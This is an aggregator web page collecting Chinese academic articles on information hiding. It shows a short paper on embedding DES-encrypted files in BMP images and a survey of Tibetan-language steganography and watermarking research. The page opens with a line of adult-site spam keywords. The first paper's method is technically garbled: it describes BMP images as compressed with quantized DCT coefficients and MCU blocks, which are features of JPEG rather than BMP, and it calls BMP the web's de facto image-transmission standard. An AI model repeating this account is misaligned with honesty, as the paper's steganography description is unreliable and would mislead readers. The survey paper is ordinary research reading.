中文字幕日韩人妻|人人草人人草97|看一二三区毛片网|日韩av无码高清|阿v 国产 三区|欧洲视频1久久久|久久精品影院日日

隱藏技術(shù)匯總十篇

時間:2022-06-30 09:39:20

序論:好文章的創(chuàng)作是一個不斷探索和完善的過程,我們?yōu)槟扑]十篇隱藏技術(shù)范例,希望它們能助您一臂之力,提升您的閱讀品質(zhì),帶來更深刻的閱讀感受。

隱藏技術(shù)

篇(1)

【 中圖分類號 】 TN915.08 【 文獻標識碼 】 A

【 Abstract 】 This paper presents a kind of information hiding technology, first of all, through using DES encryption algorithm to encrypt files, and then through information hiding, encrypted file hidden in the BMP image, the encryption image is exactly the same with the original image, the protection of the data is implemented very well.

【 Keywords 】 information hiding; des; encryption image

1 引言

信息隱藏是上世紀90年代開始興起的信息安全新技術(shù),并成為信息安全技術(shù)研究的熱點。傳統(tǒng)通信領(lǐng)域為了保證傳遞的信息能夠不被竊聽或破壞,常采用密碼來保護信息,即讓竊聽者無法看到或聽懂,但是這種技術(shù)的缺點是告訴竊聽者這就是秘密信息,特別是隨著計算機技術(shù)的發(fā)展,密碼的安全性受到很大挑戰(zhàn)。而新的信息隱藏技術(shù)是將需要傳遞的秘密信息,隱藏在一個普通的非秘密消息當中,再進行傳輸,這樣即使竊聽者竊聽了傳輸?shù)男畔?,也只會將其當成普通的消息,而不會懷疑或者無法得知是否有秘密信息的存在。

BMP是目前最常見的一種圖像格式,采用BMP圖像作為隱藏消息的載體具有許多優(yōu)點。首先,BMP圖像格式是互聯(lián)網(wǎng)上圖像傳輸?shù)氖聦崢藴?,使用這一圖像格式比起其它格式來更不會引起懷疑。其次,BMP壓縮造成的和秘密消息嵌入帶來的圖像質(zhì)量退化是肉眼很難分辨的。為了更好地保證信息的安全性,本文把文件密碼加密和信息隱藏這兩種技術(shù)結(jié)合起來:首先利用DES(Data Encryption Standard)把信息文件進行加密,然后把加密后的文件通過選定的BMP圖像以特定算法進行隱藏。

2 信息隱藏算法

信息隱藏把前面的加密信息隱藏在無關(guān)緊要的載體BMP圖片中,第三方并不知道秘密通信這個事實的存在,也就是將秘密信息本身的存在藏起來,即使得到了載密對象,也看不到存在的秘密信息。

隱藏算法通過對BMP圖像中選定的DCT系數(shù)進行微小變換,以滿足特定的關(guān)系來表示一個比特的信息。在提取隱藏的信息時,根據(jù)隱藏的逆過程抽取比特信息。其特點是隱藏的數(shù)據(jù)量較少,但是其抵抗幾何變換等攻擊的能力較強。

在BMP編碼中,量化過程是多對一的映射,它是有損變換過程,如果在量化前嵌入秘密消息,會丟失一些信息,從而導致解碼時不能正確的獲得秘密信息。因此,BMP圖像的隱寫算法的基本原理必須在量化后進行。由前所述,人眼對亮度信號比對色差信號更敏感,因此本工作將秘密消息與量化后的Y分量的DCT系數(shù)的LSB聯(lián)系起來,從而達到嵌入和提取秘密信息的目的。

隱藏流程如圖1所示,具體分為三步驟。

(1)對BMP圖像的壓縮數(shù)據(jù)進行解碼,得到量化后的DCT系數(shù)。

(2)按照隱寫算法的嵌入規(guī)則對Y分量的DCT系數(shù)進行修改,將要隱藏的秘密消息嵌入到其中。

① 首先對載體圖像按照8×8的分塊方式進行分塊。如果載體圖像的行數(shù)和列數(shù)的像素個數(shù)不為8的倍數(shù)時,則要進行邊界擴充處理,使得行數(shù)和列數(shù)的像素個數(shù)都是8的倍數(shù)。設(shè)載體圖像的行數(shù)為ImgHeight,列數(shù)為ImgWidth,Y在行和列方向上的采樣率分別為SampRate_Y_H和SampRate_Y_V,則整幅圖像被分為MCUNum = ImgWidth * ImgHeight / (64 * SampRate_Y_H * SampRate_Y_V)個小塊。

② 讀入待隱信息文件,把其轉(zhuǎn)換為二進制的位流。設(shè)待隱信息文件的長度為FileLength。為了以后提取待隱信息,需要傳遞文件長度,用2個字節(jié)表示,可表示的最大數(shù)為65535。這樣總的需要隱藏的信息長度 TotalFileLength = FileLength + 2,單位是字節(jié)。

③ 對一個MCU,按照對Y分量的DCT系數(shù)最低位進行修改。查找預定義的矩陣MIDBAND,該矩陣由數(shù)值0,1組成,對其中數(shù)值為1的位置修改對應(yīng)DCT的頻率系數(shù):如果當前待隱信息的二進制值為0,則把相應(yīng)位置的頻率系數(shù)值的最低為修改為0;如果當前待隱信息的二進制值為1,則把相應(yīng)位置的頻率系數(shù)值的最低為修改為1。

④ 對待隱信息文件的二進制流按照③的隱藏方案進行信息隱藏。如果待隱信息文件長度大于載體圖片的最大隱藏量,則把待隱信息文件按照最大隱藏量進行分段,然后分批按照隱藏流程處理。

(3)對修改后的DCT系數(shù)進行編碼,重新生成壓縮數(shù)據(jù),即載密BMP圖像。對于上面分批隱藏的,生成系列載密圖像如圖2所示。

秘密消息的提取過程是嵌入過程的逆過程,提取算法要和隱寫算法相對應(yīng)。

3 結(jié)束語

在網(wǎng)絡(luò)飛速發(fā)展的今天,信息隱藏技術(shù)的研究具有現(xiàn)實意義。本文將DES加密技術(shù)與信息隱藏技術(shù)相融合,將加密后的信息隱藏到最常見的BMP圖片中,使整個信息隱藏過程達到比較高的安全級別。信息隱藏技術(shù)在商業(yè)中的廣泛應(yīng)用,是一個跨多領(lǐng)域、多學科(數(shù)字信號處理、圖像處理、模式識別、數(shù)字通信、多媒體技術(shù)、密碼學、語音處理等)的技術(shù)體系,由于它與具體的應(yīng)用密切相關(guān),這也決定了信息隱藏技術(shù)研究成果的多樣性以及信息隱藏技術(shù)研究的不完善性,仍有許多技術(shù)問題需要解決。但可以相信,隨著科學技術(shù)越來越發(fā)達,信息隱藏將有更加廣闊的發(fā)展空間。

參考文獻

[1] 夏煜,郎榮玲,曹衛(wèi)兵等.基于圖像的信息隱藏檢測算法和實現(xiàn)技術(shù)研究綜述[J].計算機研究與發(fā)展,2004, 41(4):728-736.

[2] 陳波,譚運猛,吳世忠.信息隱藏技術(shù)綜述[J].計算機與數(shù)字工程, 2005, 33(2):21-23.

[3] 陳雅.基于數(shù)字圖像的信息隱藏技術(shù)綜述[J].福建電腦,2008, (2):6-6.

篇(2)

中圖分類號:TN401 文獻標識碼:A 文章編號:2095-1302(2014)12-00-05

0 引 言

安全、有效的信息傳輸對國家安全、社會穩(wěn)定和人民安居樂業(yè)至關(guān)重要。網(wǎng)絡(luò)和多媒體技術(shù)的發(fā)展,使得信息傳輸?shù)乃俣群蛿?shù)量正以驚人的增量發(fā)展。然而,信息傳輸?shù)谋憷诜奖闳藗兊耐瑫r也給信息安全帶來了隱患,同時也為基于數(shù)字載體的秘密信息傳輸提供了廣闊的研究空間。目前,基于載體的秘密信息傳輸是信息安全領(lǐng)域的一個方興未艾的研究熱點。而基于載體預處理的藏文信息隱藏技術(shù)將為信息安全領(lǐng)域提供一些新的數(shù)字信息共享和傳輸理念,特別是藏文的預處理規(guī)律、在數(shù)字信息中的隱藏規(guī)律等,將有助于涉藏秘密通信技術(shù)的發(fā)展,并可以對民用和商用領(lǐng)域中涉及到藏文內(nèi)容的傳輸、共享、存儲和提取的通信過程起到安全保護、版權(quán)保護及完整性認證的作用,并對國家涉藏領(lǐng)域的網(wǎng)絡(luò)輿情監(jiān)控、國內(nèi)外涉藏敏感信息標注和情感色彩認知起著至關(guān)重要的作用。

在藏文信息隱藏技術(shù)方面,目前主要涉及的技術(shù)有關(guān)鍵字識別、字符識別和提取、韻律認知、語義角色標注、文本資源挖掘和語料抽取等,并以此為基礎(chǔ)進行置亂優(yōu)化。

1 國內(nèi)外信息隱藏技術(shù)研究現(xiàn)狀

信息隱藏一直是信息安全領(lǐng)域中保障隱秘信息安全傳輸和數(shù)字信息版權(quán)的重要手段,也是近年來國內(nèi)外學者研究的熱點之一。最新的一屆ACM信息隱藏和多媒體安全會議(ACM IH&MMSec’13 Workshop)的主要研究內(nèi)容有信息隱藏算法、多媒體水印和認證、載體運算域的數(shù)字信號處理等。其中,信息隱藏算法的設(shè)計首先依賴于載體的選擇和預處理;關(guān)于多媒體水印和認證的研究則將信息隱藏和數(shù)字水印的載體范圍從數(shù)字圖像等常見載體拓展到了包括三維模型在內(nèi)的新型載體上;載體運算域的數(shù)字信號處理涉及到了載體預處理時所用的具體方法,如空間域或變換域等。2013年IEEE 圖像處理國際會議(IEEE ICIP 2013)的主要研究內(nèi)容包括圖像、音視頻和3-D等多媒體的信息隱藏算法和多媒體特征提取和分析等,這兩類研究內(nèi)容均與載體的選取和預處理有關(guān)。最新一屆信息隱藏國際會議(IH2012)的主要研究內(nèi)容包括多媒體安全和其他載體的信息隱藏。我國的第十一屆全國信息隱藏暨多媒體安全學術(shù)大會(CIHW2013)中關(guān)于信息隱藏算法的研究內(nèi)容也主要集中在非常規(guī)載體的分析和預處理上。

藏文作為信息隱藏領(lǐng)域一種新的信息格式,對其研究主要局限于藏文操作系統(tǒng)、藏文信息技術(shù)標準、藏文信息處理等幾個方面[1],具體內(nèi)容集中在藏文編碼字符集、術(shù)語集、拼音輔助集等的建立。

基于載體的秘密通信技術(shù)是20世紀90年代中期發(fā)展起來的跨領(lǐng)域的學科,而載體的預處理技術(shù)一直是其研究的主要方向。對隱藏載體進行預處理,生成信息隱藏嵌入?yún)^(qū)域是信息隱藏算法中最重要的研究內(nèi)容之一。從上述國內(nèi)外各學術(shù)會議中關(guān)于信息隱藏的參會論文和研討情況看,各類載體固有特性的研究對預處理技術(shù)有著重要的意義,且數(shù)字圖像依然是主要的一類載體,而三維模型將是未來主要研究的一類非常規(guī)載體。下面就對數(shù)字圖像和三維模型兩類載體的預處理技術(shù)的研究現(xiàn)狀進行闡述。

1.1 數(shù)字圖像預處理技術(shù)研究綜述

基于數(shù)字圖像的信息隱藏技術(shù)是信息隱藏學科中重要的技術(shù)分支,是目前應(yīng)用最廣、覆蓋范圍最大的信息隱藏技術(shù)手段。在基于數(shù)字圖像的信息隱藏技術(shù)研究中,信息隱藏區(qū)域的生成是關(guān)系算法性能的重要因素。信息隱藏區(qū)域的生成方法主要包括空間域生成法、變換域生成法以及空間域和變換域聯(lián)合的生成方法。

空間域算法:作為空間域算法中出現(xiàn)最早、操作最簡單且應(yīng)用最廣泛的算法,基于位平面分解理論的LSB算法可以直接替換的方式隱藏較大的數(shù)據(jù)量,劉紅翼等提出的一種LSB算法具有容量大、運算量小的特點[2];劉文彬等提出的LSB隱寫替換的消息定位方法則可以對此類算法進行檢測[3];而IH2012的論文中,有學者運用假設(shè)檢驗理論和含秘載體的奇偶感知特性可有效地檢測LSB算法所隱藏的隱秘信息[4,5],這些研究為藏文信息隱藏中涉及到關(guān)于此類算法的抗檢測性研究提供了新的待改進方向。張焱等提出的像素值排序和趙彥濤等提出的直方圖修改等空間域算法在沿用LSB直接替換的隱藏理念的同時,還提升了魯棒性,因此也被廣泛用于數(shù)字圖像載體預處理[6,7];隨后,楊春芳等提出了針對此類算法的檢測方法[8],這也為針對此類算法抗檢測性改進的研究提供了重要依據(jù)。此外,上述同類算法中的載體子區(qū)域劃分思想、內(nèi)容自適應(yīng)思想等也對本項目基于載體結(jié)構(gòu)特性建立空間匹配模型的機制提供了方法學上的有力支持[9-13]。

變換域算法:不同于空間域算法直接對載體的空間特性進行修改,變換域預處理方法以修改載體的頻率參數(shù)來隱藏信息[14],因此算法的魯棒性比空間域算法好。在此基礎(chǔ)上,唐燕等又對隱秘信息的檢測和恢復進行了研究和改進,實現(xiàn)了幾乎無需原始參量的半盲提取[15]。盡管變換域算法不具備空間域算法容量大、運算量小和易操作等優(yōu)勢,但是變換域中的多小波理論因其同時具有對稱性、短支撐性、二階消失矩和正交性等特性成為了信號處理中有明顯優(yōu)勢且較常用的方法,在前期研究中利用多小波方法將數(shù)字圖像載體分塊后作為嵌入?yún)^(qū)域,提高了算法的魯棒性和不可見性[16,17],這種方法為在藏文信息隱藏研究中建立基于區(qū)域能量的階梯性分布機制提供了一種研究手段。

混合域算法:較單獨運用一種空間域或變換域生成隱藏區(qū)域并設(shè)計信息隱藏算法來看,基于空間域與變換域聯(lián)合的信息隱藏算法可以兼有多種算法的性能優(yōu)勢。在基于空間域和變換域聯(lián)合的信息隱藏算法中,空間域的作用體現(xiàn)在數(shù)據(jù)嵌入的具體操作方面,因為隱藏的實質(zhì)就是在當前環(huán)境下的空間分量上進行數(shù)據(jù)修改,利用邊緣像素值差分(Edged Pixel Value Differencing,EPVD)將載體換算為若干個像素塊,以最大斜角的數(shù)據(jù)修改作為信息隱藏的具體方法[18];利用濕紙碼和基于LSBM的雙層隱寫來對載體進行加1嵌入或減1嵌入[19];另外,國內(nèi)外許多學者利用調(diào)色板理論進行數(shù)據(jù)嵌入[20,21]。而變換域在載體預處理中的主要作用是生成滿足特定需要的信息隱藏環(huán)境(區(qū)域),主要包括變換后的系數(shù)分布以及n階分量子圖等。如對RSV顏色空間的V分量做DCT變換,分塊后作為嵌入?yún)^(qū)域[22];利用視覺顯著點技術(shù)確定跟蹤窗(Regions of Interest,ROI),在ROI的DCT系數(shù)上嵌入隱藏信息,并指定某個ROI邊緣地圖脆弱性標識,嵌入到DWT變換后的含密圖像中[23];前期研究中,研究人員利用自適應(yīng)顏色遷移理論中l(wèi)αβ域?qū)︻伾目刂屏?,消除了RGB顏色分量的強相關(guān)性,并結(jié)合GHM能量分區(qū)隱藏信息,在不可見性、嵌入信息量和魯棒性方面均具有較好的表現(xiàn)[24]。

1.2 三維模型預處理技術(shù)研究綜述

潘志庚等將基于三維模型的信息隱藏預處理方法主要分為空間域算法和變換域算法[25]。這也這為藏文信息隱藏研究提供了新的思路和方法。

空間域算法:空間域算法通常具有易嵌入和盲提取的特點,如直接置換載體的幾何信息來隱藏數(shù)據(jù)是三維模型載體信息隱藏最原始、最直接的方法[26]。為改進此類算法的魯棒性,引入仿射不變量是有效的措施,如利用具有連續(xù)解析性的仿射不變量優(yōu)化需要置換的頂點[27]、 將穩(wěn)態(tài)錨點通過三角垂心編碼解析為聚類元素從而嵌入隱秘信息[28]。此外,基于主元分析的算法也有助于改善空間域算法的魯棒性,例如可根據(jù)主元分析(Primary Component Analysis,PCA)來確定模型的關(guān)鍵位置作為魯棒區(qū)域,并用網(wǎng)格分割法改進魯棒性和不可見性[29-32]。這類算法也為藏文信息隱藏從載體結(jié)構(gòu)特性進行解析和預處理提供了理論依據(jù)。改進型的空間域算法多針對魯棒性或容量性有所提升,如基于連續(xù)解析性的體積矩的盲算法,改善了之前算法對連通性攻擊的魯棒性[33];通過重排頂點和面片在網(wǎng)格文件中的表示信息,利用表示域內(nèi)的信息進行嵌入使算法具有良好的不可見性和大容量性[34],但對相似變換以外的攻擊不具有魯棒性。

變換域算法:三維模型預處理的變換域方法大多利用頻譜分析將模型信息參數(shù)化[35],對參數(shù)進行少量修改后以隱藏信息,其中,基于小波變換的算法可以對規(guī)則和非規(guī)則網(wǎng)格模型進行小波域參量修改以嵌入較多信息[36]。理論上,變換域算法比空間域算法魯棒性強,但由于三維模型頂點的天然無序性和不規(guī)則性,對其進行頻譜分析難度大,導致變換域算法實用性目前較低,因此空間域算法依然是比變換域算法更有實用價值的研究方向[37]。

2 藏文信息隱藏技術(shù)研究現(xiàn)狀

目前反映藏文信息處理技術(shù)最新進展的文獻較少,綜合以已有的研究成果及相關(guān)研究文獻,藏文信息處理可劃分為藏語信息處理和藏字信息處理兩個層次[38,39]。藏語信息處理包括機器翻譯、信息檢索、信息提取、文本校對、文本生成、文本分類、自動摘要以及藏文字識別和語音識別的后處理等等;而藏字信息處理包括操作系統(tǒng)以及編碼字符集、輸入技術(shù)、字形描述與生成、存儲、編輯、排版、字頻統(tǒng)計和藏字屬性庫等。這些研究基礎(chǔ)對藏文信息隱藏技術(shù)的發(fā)展至關(guān)重要,是基于載體預處理的藏文信息隱藏的主要技術(shù)來源。鑒于藏文的獨特構(gòu)造,以及藏文的特點,目前對藏文秘密信息的預處理技術(shù)一般指置亂和加密算法的選擇[40],而置亂使信息變得雜亂無章難以辨認,可以起到加密與改變信息嵌入特性的作用??捎糜诓匚男畔㈦[藏的置亂算法主要有Arnold變換、幻方矩陣、Gray碼變換、混沌序列等方法[41]。其中,Arnold變換算法簡單且置亂效果顯著,使有意義的數(shù)字圖像變成像白噪聲一樣的無意義圖像,實現(xiàn)了信息的初步加密和信息結(jié)構(gòu)的調(diào)整,在嵌入信息為數(shù)字圖像時可以很好的應(yīng)用[42]?;梅街脕y的思想基于查表思想,基于數(shù)字圖像的幻方置亂可降低幻方置亂階數(shù)或以圖像塊進行置亂,實現(xiàn)置亂效果與系統(tǒng)開銷的平衡[43]。Gray是一種具有反射特性和循環(huán)特性的單步自補碼,它的循環(huán)、單步特性消除了隨機取數(shù)時出現(xiàn)重大誤差的可能,它的反射、自補特性使得求反非常方便[44]。混沌的優(yōu)勢在于對初始條件的極端敏感和軌跡在整個空間上的遍歷性。根據(jù)經(jīng)典的Shannon置亂與擴散的要求,這些獨特的特征使得混沌映射成為信息隱藏嵌入算法的優(yōu)秀候選[45]。上述傳統(tǒng)的置亂算法一般用于正方形圖像處理,而經(jīng)過改進的Arnold算法可直接用于寬高不等的矩形圖像而不必進行正方形擴展[46],這也將是藏文信息隱藏技術(shù)所采用的主要置亂方法之一。

3 藏文信息隱藏技術(shù)的研究目標、研究內(nèi)容和要解決的問題

3.1 研究目標

面向藏文安全通信的高性能信息隱藏算法是目前藏文信息隱藏技術(shù)的主要目標,包括提出性能出色的、適合藏文通信要求的信息隱藏算法;提出一種具有普適性的高性能信息隱藏嵌入?yún)^(qū)域生成原則和嵌入規(guī)則:

(1) 基于數(shù)字圖像的藏文信息隱藏算法:提出至少兩種基于數(shù)字圖像的藏文信息隱藏算法,算法將同時滿足面向藏文安全的信息隱藏應(yīng)用所要求的高不可見性(PSNR≥34.90dB)、強魯棒性(抗擊大約69%以下的JPEG2000壓縮、35%以下的剪切及常見濾波與加噪)、大容量性(基于彩色圖像的信息隱藏信息嵌入率≥18%)以及高感知篡改性(檢測隱藏數(shù)據(jù)是否被篡改能力≥95%)。

(2) 基于三維模型的藏文信息隱藏算法:提出至少一種基于三維模型的藏文信息隱藏算法。算法將同時滿足面向藏文安全的信息隱藏應(yīng)用所要求的高不可見性(RSNR≥69.94dB、En≥70%)、應(yīng)對一般攻擊的強魯棒性(抗擊大約0.10%隨機加噪、50-times Laplacian平滑、50%均勻重網(wǎng)格化以及均勻簡化等)、大容量性(相對理想的RSNR,嵌入率≥29%)以及低復雜度(根據(jù)載體模型幾何信息量而變化)。

(3) 普適性信息隱藏嵌入?yún)^(qū)域生成原則和嵌入規(guī)則:利用載體圖像能量和復雜度特性,提出基于能量性和復雜度的藏文信息隱藏區(qū)域生成原則和嵌入規(guī)則,將適應(yīng)于所有對數(shù)字圖像處理后有能量區(qū)別的圖像處理方法,指導設(shè)計者利用能量與魯棒性、復雜度與不可見性的對應(yīng)關(guān)系,研究出同時滿足不可見性和魯棒性的信息隱藏算法。

3.2 研究內(nèi)容

(1) 藏文信息隱藏區(qū)域生成原則與規(guī)則研究:數(shù)字圖像信息隱藏技術(shù)的研究核心集中在隱藏區(qū)域和嵌入規(guī)則的設(shè)計上,藏文信息隱藏算法的設(shè)計方法和思路就是在選定藏文信息隱藏區(qū)域以及制定好信息隱藏規(guī)則后,按照一定的順序?qū)烧哌M行合理的組織,所以研究藏文信息隱藏區(qū)域生成原則以及信息隱藏規(guī)則是重點。

(2) 基于數(shù)字圖像的藏文信息隱藏算法研究:隱藏算法是基于數(shù)字圖像的信息隱藏技術(shù)的研究核心,需按照嵌入域進行劃分,對基于空間域和基于變換域的信息隱藏算法分別進行研究,提出單獨基于空間域、單獨基于變換域以及兩者聯(lián)合應(yīng)用的數(shù)字圖像信息隱藏算法。

(3) 基于三維模型的藏文信息隱藏算法研究:首先對三維模型的結(jié)構(gòu)特性和能量特性進行研究,再根據(jù)載體模型的特性找出對應(yīng)的預處理方法。在研究基于空間域和基于變換域的信息隱藏算法的基礎(chǔ)上,提出改進型的三維模型信息隱藏算法。主要用于提升載體有效嵌入容量和降低載體視覺失真度。

(4) 載體與藏文秘密信息的一致化方法研究:基于上述研究基礎(chǔ),生成結(jié)構(gòu)和能量差異化子區(qū)域,再將藏文秘密信息按照拼音屬性進行解析生成信息序列。再利用優(yōu)化算法使得預處理后的載體信息和藏文秘密信息的解析編碼獲得最大一致化,從而提高算法性能。

3.3 需解決的關(guān)鍵問題

綜合已有的研究,在藏文信息隱藏技術(shù)方面,目前需要解決的問題有以下幾個方面:

(1) 信息隱藏區(qū)域與嵌入規(guī)則設(shè)計:在具有什么性質(zhì)的區(qū)域內(nèi)應(yīng)用什么樣的規(guī)則進行藏文信息隱藏才可以解決“不可見性與魯棒性的對立、容量性與抗分析性的對立”問題,是藏文信息隱藏研究領(lǐng)域的關(guān)鍵技術(shù)之一。需找出隱藏區(qū)域的性質(zhì)與信息隱藏性能的關(guān)系,提出面向藏文信息傳輸?shù)男畔㈦[藏區(qū)域選擇的原則與方法;給出在具有具體性質(zhì)的嵌入?yún)^(qū)域中的藏文信息隱藏嵌入規(guī)則的制定原理和方法;提出大量的藏文信息數(shù)據(jù)轉(zhuǎn)換思想與方法,以提供形式多樣的信息隱藏嵌入規(guī)則。

(2) 數(shù)字圖像載體預處理方法:①多小波理論在載體預處理中的應(yīng)用。對于數(shù)字圖像經(jīng)過多小波變換后所具有的特殊性質(zhì),找出多小波變換后數(shù)字圖像所具有的能量特性與基于數(shù)字圖像信息隱藏算法性能之間所遵循的規(guī)律已有學者進行研究。②顏色空間的性能分析與應(yīng)用選取。RGB、CMYK、lαβ、YUV以及HSx顏色空間,應(yīng)用方法以及應(yīng)用各有優(yōu)劣勢。該技術(shù)的應(yīng)用難點在于為顏色空間在藏文信息隱藏的應(yīng)用提出完備的應(yīng)用方案,因為這些顏色空間在藏文信息隱藏技術(shù)中的應(yīng)用目前非常少,應(yīng)用優(yōu)劣還處于實驗驗證階段,沒有理論驗證的支持。

(3) 三維網(wǎng)格模型載體預處理方法:骨架抽取和內(nèi)切球解析技術(shù)在藏文信息隱藏算法中的應(yīng)用。這種方法不涉及頂點數(shù)量及坐標的改變和拓撲關(guān)系的修改。難點在于尋找一個理想的仿射不變量作為輔助參數(shù)以彌補算法對縮放攻擊的脆弱性。

(4) 藏文的置亂與遺傳優(yōu)化算法:有的藏文字處理系統(tǒng)把藏文看成是由30個輔音、4個元音、3個上加字、5個下加字共42個藏文字符組成的,而有的則認為由其他數(shù)量的字符組成?;趯Σ匚闹屑幼謱Πl(fā)音的影響規(guī)律的研究,利用字符與二進制碼的解析規(guī)則和置亂與優(yōu)化技術(shù)對信息置亂,達到隱藏信息與載體信息的最大匹配度也是一個技術(shù)難點。

4 藏文信息隱藏技術(shù)研究的新方法

(1)利用載體圖像能量和復雜度特性,提出基于能量性和復雜度的藏文信息隱藏區(qū)域生成原則和嵌入規(guī)則。高能量與強魯棒、高復雜度與高不可見性的對應(yīng)關(guān)系,從根本上解決藏文信息隱藏算法中不可見性和魯棒性的對立問題,為面向藏文通信安全的信息隱藏算法的設(shè)計給出一種普適性方法。

(2)根據(jù)數(shù)字圖像信息隱藏嵌入?yún)^(qū)域的生成原則和嵌入規(guī)則,提出新的、高性能的數(shù)字圖像的藏文信息隱藏算法。算法利用lαβ等顏色空間轉(zhuǎn)換以及多小波對載體圖像進行的處理,生成具有不同能量特性的嵌入?yún)^(qū)域,從頻率域上滿足藏文信息隱藏的應(yīng)用要求;通過對載體圖像進行顏色遷移、矢量解析以及環(huán)形處理,從數(shù)字圖像的空間結(jié)構(gòu)上滿足藏文信息隱藏的應(yīng)用要求。

(3)提出滿足三維模型結(jié)構(gòu)特性和能量特性的藏文信息隱藏算法。算法利用局部高度理論和均值偏移理論對載體模型進行預處理,生成具有不同能量特性的嵌入?yún)^(qū)域,從頻域上滿足信息隱藏的應(yīng)用要求;通過對載體圖像進行骨架抽取、內(nèi)切球解析,從空間結(jié)構(gòu)上滿足藏文信息隱藏的應(yīng)用要求。

參考文獻

[1]陳玉忠,俞士汶. 藏文信息處理技術(shù)的研究現(xiàn)狀與展望[J]. 中國藏學. 2003(4):97-107.

[2]劉紅翼,王繼軍,韋月瓊,等.一種基于LSB的數(shù)字圖像信息隱藏算法[J].計算機科學,2008, 35(1):100-102.

[3]劉文彬,劉九芬.一種針對LSB替換隱寫的消息定位方法[J].信息工程大學學報,2013,14(6):641-646.

[4] R. Cogranne, C. Zitzmann, F. Retraint,et al. Statistical Detection of LSB Matching Using Hypothesis Testing Theory[C].In: Proceedings of the 14th International Conference on Information Hiding,2013.

[5] J. Fridrich, J. Kodovsky. Steganalysis of LSB Replacement Using Parity-Aware Features[C]. In: Proceedings of the 14th International Conference on Information Hiding, 2013.

[6] 張焱,張敏情,甕佳佳.基于直方圖對的大容量信息隱藏算法[J].計算機應(yīng)用研究,2013,30(7):2108-2111.

[7] 趙彥濤,李志全,董宇青.基于排序和直方圖修改的可逆信息隱藏方法[J].光電子.激光,2010,2(1):102-106.

[8] 楊春芳,劉粉林,羅向陽.基于相對熵的直方圖差異與JPEG隱寫的定量分析[J].計算機研究與發(fā)展, 2011,48(8):1563-1569.

[9] 熊志勇,王江晴.基于差分直方圖平移的彩色圖像可逆信息隱藏[J].四川大學學報,2011,43(3): 81-89.

[10] Z.H. Wang, C.F. Lee, C.Y. Chang. Histogram-shifting-imitated reversible data hiding[J]. The Journal of Systems and Software, 2013,86(2): 315-323.

[11] X.L. Li, J. Li, B. Li, et al. High-fidelity reversible data hiding scheme based on pixel-value-ordering and prediction-error expansion[J].Signal Processing,2013, 93(1): 198C205.

[12] X.T. Wang, C.C. Chang, T.S. Nguyen, et al. Reversible data hiding for high quality images exploiting interpolation and direction order mechanism[J]. Digital Signal Processing, 2013,23(2): 569C577.

[13] Nabin Ghoshal, Anirban Goswami, H. S. Lallie. Adaptive Steganography for Image Authentication Based on Chromatic Property[C]. In: Proceedings of the International Conference on Frontiers of Intelligent Computing: Theory and Applications (FICTA),2013.

[14]和紅杰,張家樹.對水印信息篡改魯棒的自嵌入水印算法[J].軟件學報,2009,20(2):437-450.

[15] 唐燕,閭國年,殷奎喜.規(guī)范類正交矩陣的信息隱藏算法[J].東南大學學報,2013,43(1):45-49.

[16] T. Zhang, D.J. Mu, S. Ren, et al. Study of reversible information hiding scheme based on CARDBAL2 and DCT[C].Proceedings-2010 3rd IEEE International Conference on Broadband Network and Multimedia Technology (IC-BNMT2010),2010.

[17] T. Zhang, D.J. Mu, S. Ren. A Confidential Communication-Oriented Information Hiding Algorithm based on GHM multi-wavelet and DCT[J].Applied Mathematics & Information Sciences,2013, 7(5): 1803-1807.

[18] H.B. Kekre, P. Halarnkar, K. Dhamejani. Capacity increase for information hiding using maximum edged pixel value differencing[J].Communications in Computer and Information Science,2011, 145(1): 190-194.

[19] 奚玲,平西建,張韜.整數(shù)小波域濕紙碼自適應(yīng)信息隱藏算法[J].計算機輔助設(shè)計與圖形學學報,2011,2(7):1217-1223.

[20] H. Zhao, H.X. Wang, M.K. Khan. Steganalysis for palette-based images using generalized difference image and color correlogram[J].Signal Processing, 2011,91(11): 2595-2605.

[21] A. Lamgunde, A. Kale. Palette based technique for image steganography[J].Communications in Computer and Information Science, 2011,125(2): 364-371.

[22] Y.J. Qiu, H. T. Lu, N. Deng, et al. A robust blind image watermarking scheme based on template in Lab color space[C].2011 International Conference on Computing, Information and Control(ICCIC 2011),2011.

[23] L.H. Tian, N.N. Zheng, J.R. Xue, et al. An intergrated visual saliency-based watermarking approach for synchronous image authentication and copyright protection[J].Signal Processing:Image Communication,2011,31(2): 9-64.

[24] 任帥,張|,慕德俊,等.基于GHM多小波與自適應(yīng)顏色遷移的信息隱藏算法研究[J].西北工業(yè)大學學報,2010,28(2):64-269.

[25] 潘志庚, 孫樹森, 李黎.三維模型數(shù)字水印綜述[J].計算機輔助設(shè)計與圖形學學報,2006,18(8):1103-1110.

[26] S.H. Lee, K.R. Kwon. VRML animated model watermarking scheme using geometry and interpolator nodes[J].Computer-Aided Design,2011,43(8): 1056-1073.

[27] M. Luo, A.G. Bors. Surface-preserving robust watermarking of 3-D shapes[J].IEEE Transactions on Image Processing, 2011,20(10): 2813-2826.

[28] L. Du, X.C. Cao, M.H. Zhang, et al. Blind Robust Watermarking Mechanism Based on Maxima Curvature of 3D Motion Data[C]. In: Proceedings of the 14th International Conference on Information Hiding,2013.

[29] Z.Q. Yao, R.J. Pan, F.H. Li, et al. A mesh partitioning approach for 3D mesh oblivious watermarking[J].Chinese Journal of Electronics, 2010,19(4): 651-655.

[30] S. Cai, X.K. Shen. Octree-based robust watermarking for 3D model[J].Journal of Multimedia, 2011,6(1): 83-90.

[31] S. Cai, X.K. Shen. OTP-W:Octree partition-based 3D mesh watermarking[C].Second International Workshop on Education Technology and Computer Science,2010.

[32] 廖學良,王屏.一種新的三維模型水印嵌入空域算法[J]. 計算機學報,2008, 31(10): 1848-1856.

[33] K. Wang, G. Lavouéa, F. Denisb, A. Baskurt. Robust and blind mesh watermarking based on volume moments[J].Computers & Graphics,2011, 35(1): 1-19.

[34] I.L. Chung, C.M. Chou, D.C. Tseng. Hiding data in triangle meshes by rearranging representation order[J].International Journal of Innovative Computing, Information and Control,2011, 7(6): 3419-3435.

[35] 胡敏,劉輝.基于特征點的自適應(yīng)三維網(wǎng)格數(shù)字水印算法[J].合肥工業(yè)大學學報(自然科學版),2010,33(1):55-59.

[36] M. Hachani, A.Z. Ouled, S. Bahroun. Wavelet based watermarking on 3D irregular meshes[C]. 19th IEEE International Conference on Image Processing(ICIP),2012.

[37] Y.P. Wang, S.M. Hu. Optimization approach for 3D model watermarking by linear binary programming[J].Computer Aided Geometric Design, 2010,27(5): 395-404.

[38]陳力為. 中文信息處理叢書序言[M].北京:清華大學出版社,2000.

